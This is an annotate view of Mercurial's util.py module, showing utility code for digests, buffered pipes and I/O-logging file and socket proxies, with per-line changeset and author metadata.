Mercurial > hg
annotate mercurial/util.py @ 43089:c59eb1560c44
py3: manually import getattr where it is needed
The march continues.
Differential Revision: https://phab.mercurial-scm.org/D7009
author | Gregory Szorc <gregory.szorc@gmail.com> |
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date | Sun, 06 Oct 2019 16:55:18 -0400 |
parents | 66f2cc210a29 |
children | 1f339b503a40 |
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17515 | 1 # util.py - Mercurial utility functions and platform specific implementations |
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2 # |
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3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
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4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
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5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
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6 # |
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7 # This software may be used and distributed according to the terms of the |
10263 | 8 # GNU General Public License version 2 or any later version. |
1082 | 9 |
17515 | 10 """Mercurial utility functions and platform specific implementations. |
1082 | 11 |
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12 This contains helper routines that are independent of the SCM core and |
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13 hide platform-specific details from the core. |
1082 | 14 """ |
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15 |
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16 from __future__ import absolute_import, print_function |
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17 |
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18 import abc |
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19 import collections |
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20 import contextlib |
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21 import errno |
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22 import gc |
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23 import hashlib |
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24 import itertools |
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25 import mmap |
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26 import os |
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27 import platform as pyplatform |
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28 import re as remod |
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29 import shutil |
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30 import socket |
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31 import stat |
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32 import sys |
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33 import time |
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34 import traceback |
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35 import warnings |
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37 from .thirdparty import attr |
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38 from .pycompat import ( |
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39 getattr, |
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40 open, |
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41 setattr, |
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42 ) |
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43 from hgdemandimport import tracing |
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44 from . import ( |
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45 encoding, |
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46 error, |
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47 i18n, |
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48 node as nodemod, |
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49 policy, |
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50 pycompat, |
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51 urllibcompat, |
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52 ) |
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53 from .utils import ( |
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54 compression, |
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55 procutil, |
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56 stringutil, |
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57 ) |
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59 rustdirs = policy.importrust(r'dirstate', r'Dirs') |
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60 |
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61 base85 = policy.importmod(r'base85') |
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62 osutil = policy.importmod(r'osutil') |
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63 parsers = policy.importmod(r'parsers') |
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64 |
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65 b85decode = base85.b85decode |
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66 b85encode = base85.b85encode |
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67 |
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68 cookielib = pycompat.cookielib |
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69 httplib = pycompat.httplib |
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70 pickle = pycompat.pickle |
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71 safehasattr = pycompat.safehasattr |
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72 socketserver = pycompat.socketserver |
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73 bytesio = pycompat.bytesio |
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74 # TODO deprecate stringio name, as it is a lie on Python 3. |
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75 stringio = bytesio |
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76 xmlrpclib = pycompat.xmlrpclib |
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77 |
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78 httpserver = urllibcompat.httpserver |
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79 urlerr = urllibcompat.urlerr |
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80 urlreq = urllibcompat.urlreq |
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81 |
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82 # workaround for win32mbcs |
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83 _filenamebytestr = pycompat.bytestr |
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84 |
34645 | 85 if pycompat.iswindows: |
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86 from . import windows as platform |
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87 else: |
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88 from . import posix as platform |
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89 |
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90 _ = i18n._ |
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91 |
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92 bindunixsocket = platform.bindunixsocket |
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93 cachestat = platform.cachestat |
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94 checkexec = platform.checkexec |
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95 checklink = platform.checklink |
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96 copymode = platform.copymode |
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97 expandglobs = platform.expandglobs |
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98 getfsmountpoint = platform.getfsmountpoint |
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99 getfstype = platform.getfstype |
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100 groupmembers = platform.groupmembers |
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101 groupname = platform.groupname |
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102 isexec = platform.isexec |
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103 isowner = platform.isowner |
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104 listdir = osutil.listdir |
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105 localpath = platform.localpath |
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106 lookupreg = platform.lookupreg |
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107 makedir = platform.makedir |
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108 nlinks = platform.nlinks |
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109 normpath = platform.normpath |
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110 normcase = platform.normcase |
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111 normcasespec = platform.normcasespec |
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112 normcasefallback = platform.normcasefallback |
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113 openhardlinks = platform.openhardlinks |
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114 oslink = platform.oslink |
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115 parsepatchoutput = platform.parsepatchoutput |
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116 pconvert = platform.pconvert |
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117 poll = platform.poll |
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118 posixfile = platform.posixfile |
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119 readlink = platform.readlink |
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120 rename = platform.rename |
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121 removedirs = platform.removedirs |
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122 samedevice = platform.samedevice |
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123 samefile = platform.samefile |
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124 samestat = platform.samestat |
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125 setflags = platform.setflags |
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126 split = platform.split |
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127 statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
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128 statisexec = platform.statisexec |
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129 statislink = platform.statislink |
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130 umask = platform.umask |
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131 unlink = platform.unlink |
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132 username = platform.username |
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133 |
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134 # small compat layer |
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135 compengines = compression.compengines |
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136 SERVERROLE = compression.SERVERROLE |
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137 CLIENTROLE = compression.CLIENTROLE |
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138 |
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139 try: |
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140 recvfds = osutil.recvfds |
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141 except AttributeError: |
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142 pass |
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143 |
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144 # Python compatibility |
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146 _notset = object() |
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147 |
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148 |
30745 | 149 def bitsfrom(container): |
150 bits = 0 | |
151 for bit in container: | |
152 bits |= bit | |
153 return bits | |
154 | |
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155 |
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156 # python 2.6 still have deprecation warning enabled by default. We do not want |
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157 # to display anything to standard user so detect if we are running test and |
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158 # only use python deprecation warning in this case. |
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159 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS')) |
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160 if _dowarn: |
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161 # explicitly unfilter our warning for python 2.7 |
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162 # |
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163 # The option of setting PYTHONWARNINGS in the test runner was investigated. |
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164 # However, module name set through PYTHONWARNINGS was exactly matched, so |
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165 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
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166 # makes the whole PYTHONWARNINGS thing useless for our usecase. |
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167 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
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168 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
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169 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
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170 if _dowarn and pycompat.ispy3: |
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171 # silence warning emitted by passing user string to re.sub() |
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172 warnings.filterwarnings( |
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173 r'ignore', r'bad escape', DeprecationWarning, r'mercurial' |
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174 ) |
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175 warnings.filterwarnings( |
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176 r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial' |
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177 ) |
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178 # TODO: reinvent imp.is_frozen() |
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179 warnings.filterwarnings( |
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180 r'ignore', |
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181 r'the imp module is deprecated', |
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182 DeprecationWarning, |
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183 r'mercurial', |
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184 ) |
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185 |
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186 |
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187 def nouideprecwarn(msg, version, stacklevel=1): |
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188 """Issue an python native deprecation warning |
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189 |
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190 This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
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191 """ |
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192 if _dowarn: |
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193 msg += ( |
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194 b"\n(compatibility will be dropped after Mercurial-%s," |
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195 b" update your code.)" |
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196 ) % version |
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197 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
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198 |
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199 |
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200 DIGESTS = { |
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201 b'md5': hashlib.md5, |
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202 b'sha1': hashlib.sha1, |
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203 b'sha512': hashlib.sha512, |
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204 } |
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205 # List of digest types from strongest to weakest |
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206 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5'] |
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207 |
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208 for k in DIGESTS_BY_STRENGTH: |
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209 assert k in DIGESTS |
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210 |
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211 |
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212 class digester(object): |
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213 """helper to compute digests. |
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214 |
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215 This helper can be used to compute one or more digests given their name. |
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216 |
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217 >>> d = digester([b'md5', b'sha1']) |
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218 >>> d.update(b'foo') |
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219 >>> [k for k in sorted(d)] |
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220 ['md5', 'sha1'] |
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221 >>> d[b'md5'] |
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222 'acbd18db4cc2f85cedef654fccc4a4d8' |
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223 >>> d[b'sha1'] |
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224 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
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225 >>> digester.preferred([b'md5', b'sha1']) |
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226 'sha1' |
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227 """ |
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228 |
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229 def __init__(self, digests, s=b''): |
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230 self._hashes = {} |
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231 for k in digests: |
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232 if k not in DIGESTS: |
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233 raise error.Abort(_(b'unknown digest type: %s') % k) |
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234 self._hashes[k] = DIGESTS[k]() |
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235 if s: |
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236 self.update(s) |
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237 |
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238 def update(self, data): |
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239 for h in self._hashes.values(): |
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240 h.update(data) |
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241 |
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242 def __getitem__(self, key): |
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243 if key not in DIGESTS: |
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244 raise error.Abort(_(b'unknown digest type: %s') % k) |
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245 return nodemod.hex(self._hashes[key].digest()) |
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246 |
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247 def __iter__(self): |
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248 return iter(self._hashes) |
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249 |
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250 @staticmethod |
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251 def preferred(supported): |
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252 """returns the strongest digest type in both supported and DIGESTS.""" |
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253 |
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254 for k in DIGESTS_BY_STRENGTH: |
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255 if k in supported: |
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256 return k |
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257 return None |
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258 |
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259 |
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260 class digestchecker(object): |
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261 """file handle wrapper that additionally checks content against a given |
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262 size and digests. |
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263 |
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264 d = digestchecker(fh, size, {'md5': '...'}) |
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265 |
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266 When multiple digests are given, all of them are validated. |
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267 """ |
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268 |
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269 def __init__(self, fh, size, digests): |
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270 self._fh = fh |
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271 self._size = size |
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272 self._got = 0 |
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273 self._digests = dict(digests) |
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274 self._digester = digester(self._digests.keys()) |
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275 |
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276 def read(self, length=-1): |
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277 content = self._fh.read(length) |
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278 self._digester.update(content) |
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279 self._got += len(content) |
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280 return content |
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281 |
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282 def validate(self): |
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283 if self._size != self._got: |
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284 raise error.Abort( |
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285 _(b'size mismatch: expected %d, got %d') |
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286 % (self._size, self._got) |
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287 ) |
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288 for k, v in self._digests.items(): |
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289 if v != self._digester[k]: |
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290 # i18n: first parameter is a digest name |
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291 raise error.Abort( |
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292 _(b'%s mismatch: expected %s, got %s') |
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293 % (k, v, self._digester[k]) |
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294 ) |
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295 |
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296 |
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297 try: |
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298 buffer = buffer |
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299 except NameError: |
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300 |
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301 def buffer(sliceable, offset=0, length=None): |
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302 if length is not None: |
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303 return memoryview(sliceable)[offset : offset + length] |
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304 return memoryview(sliceable)[offset:] |
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305 |
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306 |
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307 _chunksize = 4096 |
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308 |
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309 |
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310 class bufferedinputpipe(object): |
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311 """a manually buffered input pipe |
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312 |
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313 Python will not let us use buffered IO and lazy reading with 'polling' at |
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314 the same time. We cannot probe the buffer state and select will not detect |
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315 that data are ready to read if they are already buffered. |
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316 |
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317 This class let us work around that by implementing its own buffering |
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318 (allowing efficient readline) while offering a way to know if the buffer is |
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319 empty from the output (allowing collaboration of the buffer with polling). |
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320 |
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321 This class lives in the 'util' module because it makes use of the 'os' |
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322 module from the python stdlib. |
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323 """ |
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324 |
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325 def __new__(cls, fh): |
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326 # If we receive a fileobjectproxy, we need to use a variation of this |
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327 # class that notifies observers about activity. |
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328 if isinstance(fh, fileobjectproxy): |
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329 cls = observedbufferedinputpipe |
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330 |
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331 return super(bufferedinputpipe, cls).__new__(cls) |
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332 |
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333 def __init__(self, input): |
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334 self._input = input |
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335 self._buffer = [] |
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336 self._eof = False |
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337 self._lenbuf = 0 |
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338 |
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339 @property |
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340 def hasbuffer(self): |
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341 """True is any data is currently buffered |
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342 |
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343 This will be used externally a pre-step for polling IO. If there is |
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344 already data then no polling should be set in place.""" |
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345 return bool(self._buffer) |
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346 |
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347 @property |
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348 def closed(self): |
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349 return self._input.closed |
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350 |
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351 def fileno(self): |
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352 return self._input.fileno() |
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353 |
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354 def close(self): |
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355 return self._input.close() |
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356 |
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357 def read(self, size): |
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358 while (not self._eof) and (self._lenbuf < size): |
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359 self._fillbuffer() |
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360 return self._frombuffer(size) |
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361 |
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362 def unbufferedread(self, size): |
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363 if not self._eof and self._lenbuf == 0: |
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364 self._fillbuffer(max(size, _chunksize)) |
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365 return self._frombuffer(min(self._lenbuf, size)) |
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366 |
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367 def readline(self, *args, **kwargs): |
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368 if len(self._buffer) > 1: |
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369 # this should not happen because both read and readline end with a |
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370 # _frombuffer call that collapse it. |
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371 self._buffer = [b''.join(self._buffer)] |
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372 self._lenbuf = len(self._buffer[0]) |
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373 lfi = -1 |
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374 if self._buffer: |
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375 lfi = self._buffer[-1].find(b'\n') |
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376 while (not self._eof) and lfi < 0: |
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377 self._fillbuffer() |
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378 if self._buffer: |
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379 lfi = self._buffer[-1].find(b'\n') |
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380 size = lfi + 1 |
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381 if lfi < 0: # end of file |
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382 size = self._lenbuf |
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383 elif len(self._buffer) > 1: |
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384 # we need to take previous chunks into account |
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385 size += self._lenbuf - len(self._buffer[-1]) |
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386 return self._frombuffer(size) |
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387 |
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388 def _frombuffer(self, size): |
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389 """return at most 'size' data from the buffer |
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390 |
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391 The data are removed from the buffer.""" |
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392 if size == 0 or not self._buffer: |
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393 return b'' |
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394 buf = self._buffer[0] |
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395 if len(self._buffer) > 1: |
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396 buf = b''.join(self._buffer) |
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397 |
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398 data = buf[:size] |
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399 buf = buf[len(data) :] |
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400 if buf: |
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401 self._buffer = [buf] |
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402 self._lenbuf = len(buf) |
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403 else: |
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404 self._buffer = [] |
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405 self._lenbuf = 0 |
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406 return data |
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407 |
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408 def _fillbuffer(self, size=_chunksize): |
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409 """read data to the buffer""" |
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410 data = os.read(self._input.fileno(), size) |
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411 if not data: |
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412 self._eof = True |
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413 else: |
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414 self._lenbuf += len(data) |
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415 self._buffer.append(data) |
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416 |
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417 return data |
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418 |
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419 |
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420 def mmapread(fp): |
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421 try: |
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422 fd = getattr(fp, 'fileno', lambda: fp)() |
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423 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
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424 except ValueError: |
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425 # Empty files cannot be mmapped, but mmapread should still work. Check |
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426 # if the file is empty, and if so, return an empty buffer. |
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427 if os.fstat(fd).st_size == 0: |
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428 return b'' |
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429 raise |
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430 |
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431 |
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432 class fileobjectproxy(object): |
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433 """A proxy around file objects that tells a watcher when events occur. |
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434 |
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435 This type is intended to only be used for testing purposes. Think hard |
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436 before using it in important code. |
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437 """ |
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438 |
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439 __slots__ = ( |
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440 r'_orig', |
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441 r'_observer', |
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442 ) |
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443 |
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444 def __init__(self, fh, observer): |
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445 object.__setattr__(self, r'_orig', fh) |
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446 object.__setattr__(self, r'_observer', observer) |
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447 |
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448 def __getattribute__(self, name): |
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449 ours = { |
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450 r'_observer', |
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451 # IOBase |
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452 r'close', |
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453 # closed if a property |
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454 r'fileno', |
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455 r'flush', |
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456 r'isatty', |
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457 r'readable', |
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458 r'readline', |
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459 r'readlines', |
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460 r'seek', |
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461 r'seekable', |
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462 r'tell', |
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463 r'truncate', |
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464 r'writable', |
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465 r'writelines', |
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466 # RawIOBase |
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467 r'read', |
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468 r'readall', |
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469 r'readinto', |
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470 r'write', |
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471 # BufferedIOBase |
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472 # raw is a property |
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473 r'detach', |
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474 # read defined above |
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475 r'read1', |
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476 # readinto defined above |
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477 # write defined above |
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478 } |
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479 |
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480 # We only observe some methods. |
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481 if name in ours: |
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482 return object.__getattribute__(self, name) |
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483 |
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484 return getattr(object.__getattribute__(self, r'_orig'), name) |
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485 |
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486 def __nonzero__(self): |
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487 return bool(object.__getattribute__(self, r'_orig')) |
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488 |
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489 __bool__ = __nonzero__ |
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490 |
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491 def __delattr__(self, name): |
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492 return delattr(object.__getattribute__(self, r'_orig'), name) |
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493 |
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494 def __setattr__(self, name, value): |
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495 return setattr(object.__getattribute__(self, r'_orig'), name, value) |
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496 |
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497 def __iter__(self): |
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498 return object.__getattribute__(self, r'_orig').__iter__() |
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499 |
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500 def _observedcall(self, name, *args, **kwargs): |
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501 # Call the original object. |
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502 orig = object.__getattribute__(self, r'_orig') |
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503 res = getattr(orig, name)(*args, **kwargs) |
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504 |
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505 # Call a method on the observer of the same name with arguments |
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506 # so it can react, log, etc. |
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507 observer = object.__getattribute__(self, r'_observer') |
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508 fn = getattr(observer, name, None) |
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509 if fn: |
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510 fn(res, *args, **kwargs) |
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511 |
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512 return res |
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513 |
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514 def close(self, *args, **kwargs): |
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515 return object.__getattribute__(self, r'_observedcall')( |
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516 r'close', *args, **kwargs |
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517 ) |
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518 |
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519 def fileno(self, *args, **kwargs): |
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520 return object.__getattribute__(self, r'_observedcall')( |
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521 r'fileno', *args, **kwargs |
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522 ) |
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523 |
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524 def flush(self, *args, **kwargs): |
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525 return object.__getattribute__(self, r'_observedcall')( |
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526 r'flush', *args, **kwargs |
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527 ) |
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528 |
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529 def isatty(self, *args, **kwargs): |
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530 return object.__getattribute__(self, r'_observedcall')( |
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531 r'isatty', *args, **kwargs |
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532 ) |
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533 |
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534 def readable(self, *args, **kwargs): |
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535 return object.__getattribute__(self, r'_observedcall')( |
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536 r'readable', *args, **kwargs |
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537 ) |
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538 |
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539 def readline(self, *args, **kwargs): |
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540 return object.__getattribute__(self, r'_observedcall')( |
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541 r'readline', *args, **kwargs |
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542 ) |
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543 |
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544 def readlines(self, *args, **kwargs): |
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545 return object.__getattribute__(self, r'_observedcall')( |
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546 r'readlines', *args, **kwargs |
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547 ) |
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548 |
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549 def seek(self, *args, **kwargs): |
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550 return object.__getattribute__(self, r'_observedcall')( |
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551 r'seek', *args, **kwargs |
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552 ) |
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553 |
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554 def seekable(self, *args, **kwargs): |
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555 return object.__getattribute__(self, r'_observedcall')( |
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556 r'seekable', *args, **kwargs |
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557 ) |
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558 |
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559 def tell(self, *args, **kwargs): |
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560 return object.__getattribute__(self, r'_observedcall')( |
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561 r'tell', *args, **kwargs |
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562 ) |
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563 |
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564 def truncate(self, *args, **kwargs): |
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565 return object.__getattribute__(self, r'_observedcall')( |
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566 r'truncate', *args, **kwargs |
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567 ) |
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568 |
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569 def writable(self, *args, **kwargs): |
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570 return object.__getattribute__(self, r'_observedcall')( |
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571 r'writable', *args, **kwargs |
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572 ) |
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573 |
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574 def writelines(self, *args, **kwargs): |
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575 return object.__getattribute__(self, r'_observedcall')( |
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576 r'writelines', *args, **kwargs |
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577 ) |
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578 |
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579 def read(self, *args, **kwargs): |
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580 return object.__getattribute__(self, r'_observedcall')( |
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581 r'read', *args, **kwargs |
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582 ) |
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583 |
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584 def readall(self, *args, **kwargs): |
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585 return object.__getattribute__(self, r'_observedcall')( |
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586 r'readall', *args, **kwargs |
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587 ) |
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588 |
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589 def readinto(self, *args, **kwargs): |
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590 return object.__getattribute__(self, r'_observedcall')( |
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591 r'readinto', *args, **kwargs |
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592 ) |
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593 |
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594 def write(self, *args, **kwargs): |
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595 return object.__getattribute__(self, r'_observedcall')( |
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596 r'write', *args, **kwargs |
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597 ) |
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598 |
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599 def detach(self, *args, **kwargs): |
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600 return object.__getattribute__(self, r'_observedcall')( |
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601 r'detach', *args, **kwargs |
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602 ) |
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603 |
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604 def read1(self, *args, **kwargs): |
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605 return object.__getattribute__(self, r'_observedcall')( |
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606 r'read1', *args, **kwargs |
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607 ) |
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608 |
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609 |
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610 class observedbufferedinputpipe(bufferedinputpipe): |
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611 """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
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612 |
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613 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
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614 bypass ``fileobjectproxy``. Because of this, we need to make |
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615 ``bufferedinputpipe`` aware of these operations. |
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616 |
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617 This variation of ``bufferedinputpipe`` can notify observers about |
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618 ``os.read()`` events. It also re-publishes other events, such as |
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619 ``read()`` and ``readline()``. |
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620 """ |
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621 |
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622 def _fillbuffer(self): |
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623 res = super(observedbufferedinputpipe, self)._fillbuffer() |
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624 |
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625 fn = getattr(self._input._observer, r'osread', None) |
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626 if fn: |
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627 fn(res, _chunksize) |
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628 |
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629 return res |
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630 |
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631 # We use different observer methods because the operation isn't |
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632 # performed on the actual file object but on us. |
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633 def read(self, size): |
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634 res = super(observedbufferedinputpipe, self).read(size) |
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635 |
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636 fn = getattr(self._input._observer, r'bufferedread', None) |
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637 if fn: |
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638 fn(res, size) |
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639 |
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640 return res |
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641 |
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642 def readline(self, *args, **kwargs): |
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643 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
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644 |
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645 fn = getattr(self._input._observer, r'bufferedreadline', None) |
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646 if fn: |
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647 fn(res) |
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648 |
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649 return res |
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650 |
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651 |
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652 PROXIED_SOCKET_METHODS = { |
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653 r'makefile', |
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654 r'recv', |
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655 r'recvfrom', |
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656 r'recvfrom_into', |
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657 r'recv_into', |
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658 r'send', |
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659 r'sendall', |
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660 r'sendto', |
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661 r'setblocking', |
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662 r'settimeout', |
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663 r'gettimeout', |
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664 r'setsockopt', |
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665 } |
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666 |
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667 |
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668 class socketproxy(object): |
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669 """A proxy around a socket that tells a watcher when events occur. |
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670 |
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671 This is like ``fileobjectproxy`` except for sockets. |
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672 |
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673 This type is intended to only be used for testing purposes. Think hard |
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674 before using it in important code. |
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675 """ |
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676 |
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677 __slots__ = ( |
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678 r'_orig', |
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679 r'_observer', |
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680 ) |
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681 |
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682 def __init__(self, sock, observer): |
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683 object.__setattr__(self, r'_orig', sock) |
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684 object.__setattr__(self, r'_observer', observer) |
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685 |
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686 def __getattribute__(self, name): |
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687 if name in PROXIED_SOCKET_METHODS: |
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688 return object.__getattribute__(self, name) |
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689 |
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690 return getattr(object.__getattribute__(self, r'_orig'), name) |
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691 |
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692 def __delattr__(self, name): |
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693 return delattr(object.__getattribute__(self, r'_orig'), name) |
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694 |
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695 def __setattr__(self, name, value): |
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696 return setattr(object.__getattribute__(self, r'_orig'), name, value) |
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697 |
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698 def __nonzero__(self): |
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699 return bool(object.__getattribute__(self, r'_orig')) |
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700 |
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701 __bool__ = __nonzero__ |
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702 |
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703 def _observedcall(self, name, *args, **kwargs): |
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704 # Call the original object. |
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705 orig = object.__getattribute__(self, r'_orig') |
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706 res = getattr(orig, name)(*args, **kwargs) |
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707 |
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708 # Call a method on the observer of the same name with arguments |
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709 # so it can react, log, etc. |
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710 observer = object.__getattribute__(self, r'_observer') |
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711 fn = getattr(observer, name, None) |
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712 if fn: |
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713 fn(res, *args, **kwargs) |
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714 |
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715 return res |
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716 |
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717 def makefile(self, *args, **kwargs): |
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718 res = object.__getattribute__(self, r'_observedcall')( |
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719 r'makefile', *args, **kwargs |
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720 ) |
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721 |
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722 # The file object may be used for I/O. So we turn it into a |
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723 # proxy using our observer. |
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724 observer = object.__getattribute__(self, r'_observer') |
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725 return makeloggingfileobject( |
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726 observer.fh, |
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727 res, |
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728 observer.name, |
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729 reads=observer.reads, |
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730 writes=observer.writes, |
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731 logdata=observer.logdata, |
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732 logdataapis=observer.logdataapis, |
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733 ) |
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734 |
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735 def recv(self, *args, **kwargs): |
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736 return object.__getattribute__(self, r'_observedcall')( |
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737 r'recv', *args, **kwargs |
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738 ) |
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739 |
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740 def recvfrom(self, *args, **kwargs): |
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741 return object.__getattribute__(self, r'_observedcall')( |
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742 r'recvfrom', *args, **kwargs |
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743 ) |
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744 |
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745 def recvfrom_into(self, *args, **kwargs): |
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746 return object.__getattribute__(self, r'_observedcall')( |
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747 r'recvfrom_into', *args, **kwargs |
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748 ) |
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749 |
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750 def recv_into(self, *args, **kwargs): |
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751 return object.__getattribute__(self, r'_observedcall')( |
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752 r'recv_info', *args, **kwargs |
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753 ) |
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754 |
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755 def send(self, *args, **kwargs): |
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756 return object.__getattribute__(self, r'_observedcall')( |
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757 r'send', *args, **kwargs |
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758 ) |
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759 |
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760 def sendall(self, *args, **kwargs): |
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761 return object.__getattribute__(self, r'_observedcall')( |
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762 r'sendall', *args, **kwargs |
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763 ) |
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764 |
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765 def sendto(self, *args, **kwargs): |
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766 return object.__getattribute__(self, r'_observedcall')( |
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767 r'sendto', *args, **kwargs |
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768 ) |
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769 |
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770 def setblocking(self, *args, **kwargs): |
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771 return object.__getattribute__(self, r'_observedcall')( |
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772 r'setblocking', *args, **kwargs |
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773 ) |
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774 |
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775 def settimeout(self, *args, **kwargs): |
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776 return object.__getattribute__(self, r'_observedcall')( |
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777 r'settimeout', *args, **kwargs |
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778 ) |
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779 |
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780 def gettimeout(self, *args, **kwargs): |
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781 return object.__getattribute__(self, r'_observedcall')( |
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782 r'gettimeout', *args, **kwargs |
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783 ) |
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784 |
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785 def setsockopt(self, *args, **kwargs): |
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786 return object.__getattribute__(self, r'_observedcall')( |
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787 r'setsockopt', *args, **kwargs |
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788 ) |
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789 |
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790 |
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791 class baseproxyobserver(object): |
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792 def _writedata(self, data): |
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793 if not self.logdata: |
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794 if self.logdataapis: |
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795 self.fh.write(b'\n') |
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796 self.fh.flush() |
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797 return |
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798 |
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799 # Simple case writes all data on a single line. |
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800 if b'\n' not in data: |
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801 if self.logdataapis: |
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802 self.fh.write(b': %s\n' % stringutil.escapestr(data)) |
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803 else: |
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804 self.fh.write( |
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805 b'%s> %s\n' % (self.name, stringutil.escapestr(data)) |
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806 ) |
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807 self.fh.flush() |
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808 return |
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|
809 |
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810 # Data with newlines is written to multiple lines. |
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811 if self.logdataapis: |
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812 self.fh.write(b':\n') |
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813 |
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814 lines = data.splitlines(True) |
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815 for line in lines: |
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816 self.fh.write( |
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817 b'%s> %s\n' % (self.name, stringutil.escapestr(line)) |
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818 ) |
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819 self.fh.flush() |
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820 |
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821 |
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822 class fileobjectobserver(baseproxyobserver): |
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823 """Logs file object activity.""" |
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824 |
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825 def __init__( |
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826 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
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827 ): |
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828 self.fh = fh |
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829 self.name = name |
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830 self.logdata = logdata |
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831 self.logdataapis = logdataapis |
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832 self.reads = reads |
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833 self.writes = writes |
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834 |
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835 def read(self, res, size=-1): |
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836 if not self.reads: |
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837 return |
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838 # Python 3 can return None from reads at EOF instead of empty strings. |
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839 if res is None: |
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Augie Fackler <augie@google.com>
parents:
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|
840 res = b'' |
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parents:
43076
diff
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|
841 |
687b865b95ad
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parents:
43076
diff
changeset
|
842 if size == -1 and res == b'': |
38314
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
843 # Suppress pointless read(-1) calls that return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
844 # nothing. These happen _a lot_ on Python 3, and there |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
845 # doesn't seem to be a better workaround to have matching |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
846 # Python 2 and 3 behavior. :( |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
847 return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
848 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
849 if self.logdataapis: |
43077
687b865b95ad
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parents:
43076
diff
changeset
|
850 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res))) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
851 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
852 self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
853 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
854 def readline(self, res, limit=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
855 if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
856 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
857 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
858 if self.logdataapis: |
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
859 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res))) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
860 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
861 self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
862 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
863 def readinto(self, res, dest): |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
864 if not self.reads: |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
865 return |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
866 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
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parents:
37010
diff
changeset
|
867 if self.logdataapis: |
43076
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diff
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|
868 self.fh.write( |
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687b865b95ad
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Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
869 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res) |
43076
2372284d9457
formatting: blacken the codebase
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parents:
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diff
changeset
|
870 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
871 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
872 data = dest[0:res] if res is not None else b'' |
41384
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
873 |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
874 # _writedata() uses "in" operator and is confused by memoryview because |
b141b5243b37
util: cast memoryview to bytes
